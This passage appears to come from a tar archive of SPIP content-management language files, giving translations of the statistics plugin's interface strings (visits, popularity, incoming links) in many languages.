// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=bg
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_evolution_visites' => 'Развитие на посещенията<br />@visites@ посещения',
'icone_repartition_actuelle' => 'Покажи настоящата дистрибуция',
'icone_repartition_visites' => 'Разпределяне на посещенията',
'icone_statistiques_visites' => 'Статистика',
'info_affichier_visites_articles_plus_visites' => 'Показване на посещения за <b>най-посещаваните статии от началото:</b>',
'info_comment_lire_tableau' => 'Как да се чете тази схема',
'info_forum_statistiques' => 'Статистика на посещенията',
'info_popularite_2' => 'популярност на сайта:',
'info_popularite_3' => 'популярност: @popularite@; посещения: @visites@',
'info_popularite_5' => 'популярност:',
'info_visites' => 'посещения:',
'info_visites_plus_populaires' => 'Показване на посещения за <b>най-четени статии</b> и за <b>най-новите публикувани статии:</b>',
'info_zoom' => 'увеличение',
'item_gerer_statistiques' => 'Управление на статистиката', # MODIF
// O
'onglet_origine_visites' => 'Произход на посещенията',
'onglet_repartition_debut' => 'отначало',
'onglet_repartition_lang' => 'Разпределение по езици',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'Мястото на статията според класификацията за популярност (посещаемост) е указана в полето. Популярността на статията (оценка от броя на посещенията за един ден, ако се следва текущия трафик) и записания брой на посещенията от самото начало, са показани в балона, който се появява, когато мишката се позиционира върху заглавието.',
'texte_signification' => 'Тъмните ивици представляват натрупващи се посещения (общо за всички подрубрики), а светлите - броя на посещенията за всяка отделна рубрика.',
'titre_evolution_visite' => 'Развитие на посещенията',
'titre_liens_entrants' => 'Входящи препратки',
'titre_page_statistiques' => 'Статистика по рубрики',
'titre_page_statistiques_visites' => 'Статистика на посещенията'
);
?>
statistiques_ay.php 0000666 00000002304 15252540432 0010515 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=ay
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_evolution_visites' => 'Tumpatanakan jilawi<br />@visites@ tumpatanaka',
'icone_repartition_actuelle' => 'Jichha lakiraw uñachaña',
'icone_repartition_visites' => 'Tumpatanakat lakirawi',
'icone_statistiques_visites' => 'Tumpatanakat tantiyatanaka',
'info_affichier_visites_articles_plus_visites' => 'Tumpirininak uñachayaña <b>qalltatpach qillqatanak juk’amp tumpata:</b>',
'info_comment_lire_tableau' => 'Kunjams aka cuadro liyt’aña ',
'info_forum_statistiques' => 'Tumpatanakat tantiyirinaka',
'info_popularite_5' => 'Juk’amp tumpata:',
'info_visites' => 'tumpawinaka:',
'info_zoom' => 'Jach’aptaña jisk’aptaña',
// O
'onglet_origine_visites' => 'Tumpatanakat qallta',
'onglet_repartition_debut' => 'qalltatpachata',
'onglet_repartition_lang' => 'Arut arut jalja',
// R
'resume' => 'Resume', # MODIF
// T
'titre_liens_entrants' => 'Mantir chinunakaxa'
);
?>
statistiques_ro.php 0000666 00000005334 15252540432 0010532 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=ro
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Ştergeţi statisticile', # MODIF
// I
'icone_evolution_visites' => 'Evoluţia vizitelor<br />@visites@ vizite',
'icone_repartition_actuelle' => 'Afişaţi repartiţia curentă',
'icone_repartition_visites' => 'Repartiţia vizitelor',
'icone_statistiques_visites' => 'Statistici',
'info_affichier_visites_articles_plus_visites' => 'Afişează vizitele pentru <b>cele mai vizitate articole de la început:</b>',
'info_comment_lire_tableau' => 'Cum se citeşte acest tablou',
'info_forum_statistiques' => 'Statisticile vizitelor',
'info_popularite_2' => 'popularitatea site-ului :',
'info_popularite_3' => 'popularitate : @popularite@ ; vizites : @visites@',
'info_popularite_5' => 'popularitate :',
'info_question_vignettes_referer' => 'Atunci când vizualizaţi statisticile, puteţi vizualiza pre-vederi ale site-uri de unde provin vizitele',
'info_question_vignettes_referer_oui' => 'Afişaţi capturile site-urilor de unde provin vizitele',
'info_visites' => 'vizite :',
'info_visites_plus_populaires' => 'Afişaţi vizitele pentru <b>articolele cele mai populare</b> şi pentru <b>ultimele articole publicate</b> :',
'info_zoom' => 'mărire',
'item_gerer_statistiques' => 'Gestionaţi statisticile', # MODIF
// O
'onglet_origine_visites' => 'Originea vizitelor',
'onglet_repartition_debut' => 'de la început',
'onglet_repartition_lang' => 'Repartiţia pe limbi',
// R
'resume' => 'Resume', # MODIF
// T
'texte_admin_effacer_stats' => 'Această comandă şterge toate datele legate de statisticile vizitelor în site, incluzând şi datele de popularitate a articolelor.',
'texte_comment_lire_tableau' => 'Rangul articolului, în clasamentul de popularitate este indicat cu o marjă ; popularitatea articolului (care este o estimare a numărului de vizite zilnice pe care articolul le va primi dacă ritmul actual de consultare se menţine) şi numărul de vizite primite de la început sunt afişate în mica fereastră care apare la un survol al mouse-ului deasupra titlului.',
'texte_signification' => 'Barele întunecate reprezintă intrarile cumulate (totalul sub-rubricilor), barele deschise la culoare reprezintă numărul de vizite pentru fiecare rubrică.',
'titre_evolution_visite' => 'Evoluţia vizitelor',
'titre_liens_entrants' => 'Legături în intrare',
'titre_page_statistiques' => 'Statisticile pe rubrici',
'titre_page_statistiques_visites' => 'Statisticile vizitelor'
);
?>
statistiques_cpf.php 0000666 00000004373 15252540432 0010664 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=cpf
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_evolution_visites' => 'Lévolisyon do bann vizit<br />@visites@ visites',
'icone_repartition_actuelle' => 'Armontr kouk sa lé partazé astèr ',
'icone_repartition_visites' => 'Koman i partaz bann vizit',
'icone_statistiques_visites' => 'Bann sifklé bann vizit',
'info_affichier_visites_articles_plus_visites' => 'Armontr bann vizit pou <b>bann zartik lé pli vizité dopwi lo komansman :</b>',
'info_comment_lire_tableau' => 'Koman i pé lir lo tablo-la',
'info_forum_statistiques' => 'Bann sifklé pou bann visit',
'info_popularite_2' => 'Popularité lo sitwèb :',
'info_popularite_3' => 'Koman lé populèr : @popularite@ ; bann vizit : @visites@',
'info_popularite_5' => 'popularité :',
'info_visites' => 'bann vizit :',
'info_visites_plus_populaires' => 'Afis bann vizit pou <b>bann zartik sak lé pli populèr</b> e <b>bann dernyé zartik an liyn :</b>',
'info_zoom' => 'zoum',
'item_gerer_statistiques' => 'Zèr bann sifklè pou bann vizit', # MODIF
// O
'onglet_origine_visites' => 'Lorizin bann vizit',
'onglet_repartition_debut' => 'dopwi komansman',
'onglet_repartition_lang' => 'Bann vizit sanm tout bann lang',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'Dann lamarz-la, ou va trouv lo rand lartik pou vwar kouk sa lé populèr ; pou sa minm, kank ou bat-karé si lo non inn lartik, néna inn bil sak i aparé : dann bil-la, i va trouv la popularité lartik èk lo nonb vizit dopwi lorizin.La popularité lé kom inn prévizyon lo nonb vizit posib sir lo sit porézon lo ritm aktyèl lé stab.',
'texte_signification' => 'Bann bar fénwar i roprézant bann zantré kimilé (pou lansanm bann sourubrik), bann bar klèr lo nonb bann vizit pou sakinn rubrik.',
'titre_evolution_visite' => 'Lévolisyon do bann vizit',
'titre_liens_entrants' => 'Bann gatiraz larivé',
'titre_page_statistiques' => 'Bann sifklé sanm inn rubrik',
'titre_page_statistiques_visites' => 'Bann sifklé pou bann vizit'
);
?>
statistiques_el.php 0000666 00000002655 15252540432 0010515 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=el
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Delete the statistics', # MODIF
// I
'icone_evolution_visites' => 'Επιπεδο επισκέψεων<br />@visites@ επισκέψεις',
'icone_repartition_actuelle' => 'Εμφάνιση της τωρινής κατανομής',
'icone_repartition_visites' => 'Κατανομή των επισκέψεων',
'icone_statistiques_visites' => 'Στατιστικά',
'info_affichier_visites_articles_plus_visites' => 'Δείξτε τους επισκέπτες σας για <b>τα πιο δημοφιλή σας αρθρα απο την έναρξη:</b>',
'info_comment_lire_tableau' => 'Πως να διαβάσατε αυτό το γραφικό',
'info_forum_statistiques' => 'Στατιστικά επισκεπτών',
'info_visites' => 'Επισκέψεις :',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Manage statistics', # MODIF
// O
'onglet_origine_visites' => 'Προέλευση επισκεπτών',
'onglet_repartition_debut' => 'από την αρχή',
'onglet_repartition_lang' => 'Κατάταξη ανά γλώσσα',
// R
'resume' => 'Resume' # MODIF
);
?>
paquet-stats_de.php 0000666 00000000711 15252540432 0010365 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// S
'stats_description' => 'Estadísticas de SPIP',
'stats_nom' => 'Estadísticas',
'stats_slogan' => 'Administración de las estadísticas de SPIP'
);
?>
statistiques_fr.php 0000666 00000006104 15252540432 0010515 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/statistiques/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_referers' => 'Effacer seulement les liens entrants',
'bouton_effacer_statistiques' => 'Effacer toutes les statistiques',
// C
'csv' => 'csv',
// I
'icone_evolution_visites' => 'Évolution des visites<br />@visites@ visites',
'icone_repartition_actuelle' => 'Afficher la répartition actuelle',
'icone_repartition_visites' => 'Répartition des visites',
'icone_statistiques_visites' => 'Statistiques',
'info_affichier_visites_articles_plus_visites' => 'Afficher les visites pour <b>les articles les plus visités depuis le début :</b>',
'info_comment_lire_tableau' => 'Comment lire ce tableau',
'info_forum_statistiques' => 'Statistiques des visites',
'info_popularite_2' => 'popularité du site :',
'info_popularite_3' => 'popularité : @popularite@ ; visites : @visites@',
'info_popularite_5' => 'popularité :',
'info_previsions' => 'prévisions :',
'info_question_vignettes_referer' => 'Lorsque vous consultez les statistiques, vous pouvez visualiser des aperçus des sites d’origine des visites',
'info_question_vignettes_referer_oui' => 'Afficher les captures des sites d’origine des visites',
'info_visites' => 'visites :',
'info_visites_plus_populaires' => 'Afficher les visites pour <b>les articles les plus populaires</b> et pour <b>les derniers articles publiés :</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Gérer les statistiques des visites',
// O
'onglet_origine_visites' => 'Origine des visites',
'onglet_repartition_debut' => 'depuis le début',
'onglet_repartition_lang' => 'Répartition par langues',
// R
'resume' => 'Résumé',
// T
'texte_admin_effacer_stats' => 'Cette commande efface toutes les données liées aux statistiques de visite du site, y compris la popularité des articles.',
'texte_admin_effacer_toutes_stats' => 'Le premier bouton supprime toutes les statistiques : visites, popularité des articles et liens entrants.',
'texte_comment_lire_tableau' => 'Le rang de l’article, dans le classement par popularité, est indiqué dans la marge ; la popularité de l’article (une estimation du nombre de visites quotidiennes qu’il recevra si le rythme actuel de consultation se maintient) et le nombre de visites reçues depuis le début sont affichés dans la bulle qui apparaît lorsque la souris survole le titre.',
'texte_signification' => 'Les barres foncées représentent les entrées cumulées (total des sous-rubriques), les barres claires le nombre de visites pour chaque rubrique.',
'titre_evolution_visite' => 'Évolution des visites',
'titre_liens_entrants' => 'Liens entrants',
'titre_page_statistiques' => 'Statistiques par rubriques',
'titre_page_statistiques_visites' => 'Statistiques des visites',
// V
'visites_journalieres' => 'Nombre de visites par jour',
'visites_mensuelles' => 'Nombre de visites par mois'
);
?>
statistiques_fi.php 0000666 00000002316 15252540432 0010505 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=fi
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Delete the statistics', # MODIF
// I
'info_affichier_visites_articles_plus_visites' => 'Näytä <b>sitten alun eniten luetut artikkelit:</b>',
'info_comment_lire_tableau' => 'Miten lukea tätä kuvaajaa',
'info_popularite_2' => 'sivuston suosio:',
'info_popularite_3' => 'suosio: @popularite@; käyntiä: @visites@',
'info_popularite_5' => 'suosio:',
'info_visites' => 'käyntejä:',
'item_gerer_statistiques' => 'Manage statistics', # MODIF
// O
'onglet_origine_visites' => 'Kävijöiden alkuperä',
'onglet_repartition_debut' => 'alusta',
'onglet_repartition_lang' => 'kielittäin', # MODIF
// R
'resume' => 'Resume', # MODIF
// T
'titre_evolution_visite' => 'Kävijämäärän kehitys',
'titre_liens_entrants' => 'Päivän tulevat linkit', # MODIF
'titre_page_statistiques' => 'Tilastot lohkoittain',
'titre_page_statistiques_visites' => 'Kävijä tilastot'
);
?>
statistiques_pt_br.php 0000666 00000005254 15252540432 0011221 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=pt_br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Apagar as estatísticas', # MODIF
// I
'icone_evolution_visites' => 'Evolução das visitas<br />@visites@ visitas',
'icone_repartition_actuelle' => 'Exibir a repartição atual',
'icone_repartition_visites' => 'Repartição das visitas',
'icone_statistiques_visites' => 'Estatísticas',
'info_affichier_visites_articles_plus_visites' => 'Exibir as visitas para <b>as matérias mais visitada após o lançamento:</b>',
'info_comment_lire_tableau' => 'Como ler esta tabela',
'info_forum_statistiques' => 'Estatísticas das visitas',
'info_popularite_2' => 'popularidade do site:',
'info_popularite_3' => 'popularidade: @popularite@; visitas: @visites@',
'info_popularite_5' => 'popularidade:',
'info_previsions' => 'previsões:',
'info_question_vignettes_referer' => 'Ao consultar as estatísticas, você poderá visualizar resumos dos sites que originaram as visitas',
'info_question_vignettes_referer_oui' => 'Exibir as capturas dos sites de origem das visitas',
'info_visites' => 'visitas:',
'info_visites_plus_populaires' => 'Exibir os visitantes para <b>as matérias mais populares</b> e para <b>as mais recentes matérias publicadas:</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Gerenciar as estatísticas', # MODIF
// O
'onglet_origine_visites' => 'Origem das visitas',
'onglet_repartition_debut' => 'desde o início',
'onglet_repartition_lang' => 'Repartição por idiomas',
// T
'texte_admin_effacer_stats' => 'Este comando apaga todos os dados ligados às estatísticas de visitação do site, incluindo a popularidade das matérias.',
'texte_comment_lire_tableau' => 'A classificação da matéria, na classificação por popularidade, é indicada na margem; a popularidade de uma matéria (uma estimativa do número de visitas diárias que ela receberia se o ritmo atual de acesso se mantivesse) e o número de visitas recebidas depois do lançamento são exibidas na dica que aparece quando o cursor do mouse se sobrepõe ao título.',
'texte_signification' => 'As barras escuras representão as entradas acumuladas (total das subseções), as barras claras, o número de visitas para cada seção.',
'titre_evolution_visite' => 'Evolução das visitas',
'titre_liens_entrants' => 'Links de entrada',
'titre_page_statistiques' => 'Estatísticas por seções',
'titre_page_statistiques_visites' => 'Estatísticas de visitas'
);
?>
statistiques_br.php 0000666 00000005237 15252540432 0010517 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Diverkañ ar stadegoù', # MODIF
// I
'icone_evolution_visites' => 'Emdroadur ar gweladennoù : <br />@visites@ gweladenn',
'icone_repartition_actuelle' => 'Diskouez an dasparzh er mare-mañ',
'icone_repartition_visites' => 'Dasparzh ar gweladennoù',
'icone_statistiques_visites' => 'Stadegoù',
'info_affichier_visites_articles_plus_visites' => 'Diskouez ar gweladennoù evit <b>ar pennadoù lennet ar muiañ, abaoe an deroù :</b>',
'info_comment_lire_tableau' => 'Penaos lenn an daolenn-mañ',
'info_forum_statistiques' => 'Stadegoù gweladenniñ',
'info_popularite_2' => 'brud al lec’hienn :',
'info_popularite_3' => 'brud; : @popularite@ ; gweladennoù : @visites@',
'info_popularite_5' => 'brud; :',
'info_question_vignettes_referer' => 'En ur sellet ouzh ar stadegoù e c’hallit teuler un tamm sell ouzh lec’hiennoù orin ar weladennerien',
'info_question_vignettes_referer_oui' => 'Diskouez skeudennoùigoù lec’hiennoù orin ar weladennerien',
'info_visites' => 'gweladenn :',
'info_visites_plus_populaires' => 'Diskouez ar gweladennoù evit <b>ar pennadoù brudetañ</b> hag evit <b>ar pennadoù nevez-embannet :</b>',
'info_zoom' => 'zoum',
'item_gerer_statistiques' => 'Merañ ar stadegoù', # MODIF
// O
'onglet_origine_visites' => 'Orin ar gweladennoù',
'onglet_repartition_debut' => 'abaoe an deroù',
'onglet_repartition_lang' => 'Dasparzh diouzh ar yezh',
// R
'resume' => 'Resume', # MODIF
// T
'texte_admin_effacer_stats' => 'Diverket e vo an holl roadoù a denn da stadegoù gweladenniñ al lec’hienn, en o zouez ar re a heuilh berzh ar pennadoù.',
'texte_comment_lire_tableau' => 'Renk ar pennad, hervez e vrud, a c’haller gwelet er marz; brud ar pennad (o rakwelet pet gweladenn en do bemdez ma kendalc’h ar gweladenniñ d’ar memes lusk) hag an niver a weladennoù abaoe an deroù a c’heller gwelet er lagadenn a zeu war wel pa dremen al logodenn war an titl.',
'texte_signification' => 'Diskouez a ra ar barrennoù teñval sammad ar gweladennoù bodet (hollad an isrubrikennoù), hag ar barrennoù sklaer an niver a weladennoù evit pep rubrikenn.',
'titre_evolution_visite' => 'Emdroadur ar gweladennoù',
'titre_liens_entrants' => 'Liammoù davet al lec’hienn',
'titre_page_statistiques' => 'Stadegoù dre rubrikennoù',
'titre_page_statistiques_visites' => 'Stadegoù gweladenniñ'
);
?>
paquet-stats_lb.php 0000666 00000000666 15252540432 0010403 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// S
'stats_description' => 'SPIP-Statistiken',
'stats_nom' => 'Statistiken',
'stats_slogan' => 'Verwalte vun de SPIP-Statistiken'
);
?>
statistiques_zh.php 0000666 00000003533 15252540432 0010532 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=zh
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_evolution_visites' => '访问进展<br />@visites@个访问', # MODIF
'icone_repartition_actuelle' => '显示实际分布',
'icone_repartition_visites' => '访问分布',
'icone_statistiques_visites' => '访问统计', # MODIF
'info_affichier_visites_articles_plus_visites' => '显示<b>从开始访问最流行文章的</b>访问者:',
'info_comment_lire_tableau' => '如何读图',
'info_popularite_2' => '站点流行:',
'info_popularite_3' => '流行: @popularite@; 访问: @visites@',
'info_popularite_5' => '流行:',
'info_visites' => '访问:',
'info_visites_plus_populaires' => '显示 <b>最流行的文章</b> 访问者和 <b>最近发表的文章:</b>',
'info_zoom' => '缩放',
'item_gerer_statistiques' => '管理统计', # MODIF
// O
'onglet_origine_visites' => '访问者起源',
'onglet_repartition_debut' => '从开始',
'onglet_repartition_lang' => '根据语言重新分布', # MODIF
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => '根据流行程序的不同文章的等级,
, 在页边标识
; 文章流行度 (
如果正常带宽维护每天的访问者数量
) 并且访问者数量记录
自从鼠标开始移过标题显示在气球上
.',
'texte_signification' => '深色条代表条目总数（子专栏总数），浅色条代表各个专栏的访问人数.', # MODIF
'titre_evolution_visite' => '访问者评估',
'titre_liens_entrants' => '访问链接', # MODIF
'titre_page_statistiques' => '按专栏统计',
'titre_page_statistiques_visites' => '访问者统计'
);
?>
paquet-stats_ru.php 0000666 00000001073 15252540432 0010425 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// S
'stats_description' => 'Статистика посещений сайта',
'stats_nom' => 'Статистика посещений сайта',
'stats_slogan' => 'Плагин по учету статистики посещений вашего сайта'
);
?>
statistiques_cs.php 0000666 00000004407 15252540432 0010517 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=cs
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Delete the statistics', # MODIF
// I
'icone_evolution_visites' => 'Vývoj návštěvnosti<br />@visites@ visites', # MODIF
'icone_repartition_actuelle' => 'Zobrazit aktuální rozdělení',
'icone_repartition_visites' => 'Rozdělení návštěv',
'icone_statistiques_visites' => 'Statistiky',
'info_affichier_visites_articles_plus_visites' => 'Zobrazit návštěvnost <b>nejoblíbenějších článků od počátku:</b>',
'info_comment_lire_tableau' => 'Vysvětlivky k tabulce',
'info_forum_statistiques' => 'Statistiky návštěvnosti',
'info_popularite_2' => 'oblíbenost webu:',
'info_popularite_3' => 'oblívenost: @popularite@; návštěvy: @visites@',
'info_popularite_5' => 'oblíbenost:',
'info_visites' => 'návštěvy:',
'info_visites_plus_populaires' => 'Zobrazit návštevnost <b>nejčtenějších</b> a <b>nejnovějších článků:</b>',
'info_zoom' => 'zvětšit/zmenšit',
'item_gerer_statistiques' => 'Správa statistik', # MODIF
// O
'onglet_origine_visites' => 'Původ návštěv',
'onglet_repartition_debut' => 'od počátku',
'onglet_repartition_lang' => 'Rozdělení podle jazyků',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'Pořadí článku v žebříčku, oblíbenosti je uvedeno na okraji. Oblíbenost článku (odhad každodenního počtu návštěvníků za předpokladu, že počet návštěv bude pokračovat dosavadním tempem) a počet celkových návštěv za celou dobu zveřejnění jsou uvedeny v místní nabídce, která se zobrazí při umístění myši nad názvem článku.',
'texte_signification' => 'Tmavě jsou označeny kumulované údaje (celkem v rámci podsekcí), světle je uveden počet návštěv v jednotlivých sekcích.',
'titre_evolution_visite' => 'Vývoj návštěvnosti',
'titre_liens_entrants' => 'Příchozí odkazy',
'titre_page_statistiques' => 'Statistiky podle sekcí',
'titre_page_statistiques_visites' => 'Statistiky návštěvnosti'
);
?>
statistiques_pl.php 0000666 00000004320 15252540432 0010517 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=pl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Effacer les statistiques', # MODIF
// I
'icone_evolution_visites' => 'Rozwój wizyt<br />@visites@ wizyt',
'icone_repartition_actuelle' => 'Pokaż aktualną dystrybucję',
'icone_repartition_visites' => 'Rozłożenie wizyt',
'icone_statistiques_visites' => 'Statystyki',
'info_affichier_visites_articles_plus_visites' => 'Pokaż odwiedziny dla <b>najczęściej odwiedzanych artykułów od początku:</b>',
'info_comment_lire_tableau' => 'Jak odczytywac tą tabelę',
'info_forum_statistiques' => 'Odwiedź statystyki',
'info_popularite_2' => 'popularność strony:',
'info_popularite_3' => 'popularność: @popularite@; odwiedziny: @visites@',
'info_popularite_5' => 'popularność:',
'info_visites' => 'odwiedziny:',
'info_visites_plus_populaires' => 'Pokaż odwiedziny dla <b>najpopularniejszych artykułów</b> i dla <b>artykułów ostatnio opublikowanych:</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Zarządzaj statystykami', # MODIF
// O
'onglet_origine_visites' => 'Wizyty z URL-i',
'onglet_repartition_debut' => 'od początku',
'onglet_repartition_lang' => 'Porządkowanie wg języków',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'Szereg artykułów występujących, w klasyfikacji popularności jest na marginesie marge ; popularność artykułu(szacunek dziennej liczby wizyt zostanie obiczony jeśli częstotliwość wizyt zostanie utrzymana) a liczba wizyt, od początku opublikowania artykułu pojawi się kiedy najedziesz myszką na tytuł artykułu.',
'texte_signification' => 'Ciemne paski oznaczają podsumowanie wszystkich odwiedzin w poddziałach, paski jasne liczbę wizyt dla poszczególnych działów.',
'titre_evolution_visite' => 'Ewolucja odwiedzin',
'titre_liens_entrants' => 'Linki wejściowe',
'titre_page_statistiques' => 'Statystyki działu',
'titre_page_statistiques_visites' => 'Statystyka odwiedzin'
);
?>
paquet-stats_fa.php 0000666 00000000711 15252540432 0010363 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// S
'stats_description' => 'آمارهاي اسپيپ',
'stats_nom' => 'آمارها',
'stats_slogan' => 'مديريت آمارها در اسپيپ'
);
?>
statistiques_ca.php 0000666 00000005362 15252540432 0010476 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=ca
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Esborrar les estadístiques', # MODIF
// I
'icone_evolution_visites' => 'Evolució de les visites<br />@visites@ visites',
'icone_repartition_actuelle' => 'Mostrar la distribució actual',
'icone_repartition_visites' => 'Repartiment de les visites',
'icone_statistiques_visites' => 'Estadístiques',
'info_affichier_visites_articles_plus_visites' => 'Mostrar les visites pels <b>articles més visitats des del començament:</b>',
'info_comment_lire_tableau' => 'Com llegir aquest quadre',
'info_forum_statistiques' => 'Estadístiques de les visites',
'info_popularite_2' => 'popularitat del lloc:',
'info_popularite_3' => 'popularitat: @popularite@ ; visites: @visites@',
'info_popularite_5' => 'popularitat:',
'info_question_vignettes_referer' => 'Quan consulteu les estadístiques, podeu visualitzar una estimació dels llocs d’origen de les visites',
'info_question_vignettes_referer_oui' => 'Mostrar les captures dels llocs d’origen de les visites',
'info_visites' => 'visites:',
'info_visites_plus_populaires' => 'Mostrar les visites pels <b>articles més populars</b> i pels <b>últims articles publicats:</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Gestionar les estadístiques', # MODIF
// O
'onglet_origine_visites' => 'Origen de les visites',
'onglet_repartition_debut' => 'des del començament',
'onglet_repartition_lang' => 'Repartiment per llengües',
// R
'resume' => 'Resume', # MODIF
// T
'texte_admin_effacer_stats' => 'Aquesta ordre esborra totes les dades lligades a les estadístiques de visita del lloc, fins i tot la popularitat dels articles.',
'texte_comment_lire_tableau' => 'El rang de l’article, dins de la classificació per popularitat, està indicat al marge; la popularitat de l’article (una estimació del nombre de visites quotidianes que rebrà l’article si es manté el ritme actual de consultes) i el nombre de visites rebudes des que va estar per primer cop en línia estàn visibles al menú que apareix quan passem el ratolí per sobre del títol.',
'texte_signification' => 'Les columnes fosques representen les entrades acumulades (total de les subseccions), les columnes clares el número de visites per a cada secció.',
'titre_evolution_visite' => 'Evolució de les visites',
'titre_liens_entrants' => 'Enllaços entrants',
'titre_page_statistiques' => 'Estadistiques per seccions',
'titre_page_statistiques_visites' => 'Estatistiques de les visites'
);
?>
statistiques_oc_auv.php 0000666 00000004347 15252540432 0011371 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=oc_auv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_evolution_visites' => 'Evolucion de las vesitas<br />@visites@ vesitas',
'icone_repartition_actuelle' => 'Afichar la reparticion actuala',
'icone_repartition_visites' => 'Reparticion de las vesitas',
'icone_statistiques_visites' => 'Estadisticas',
'info_affichier_visites_articles_plus_visites' => 'Afichar las vesitas per los <b>articles mai vesitats dempuèi l’emprimèir:</b>',
'info_comment_lire_tableau' => 'Cossí legir aquel tablèu',
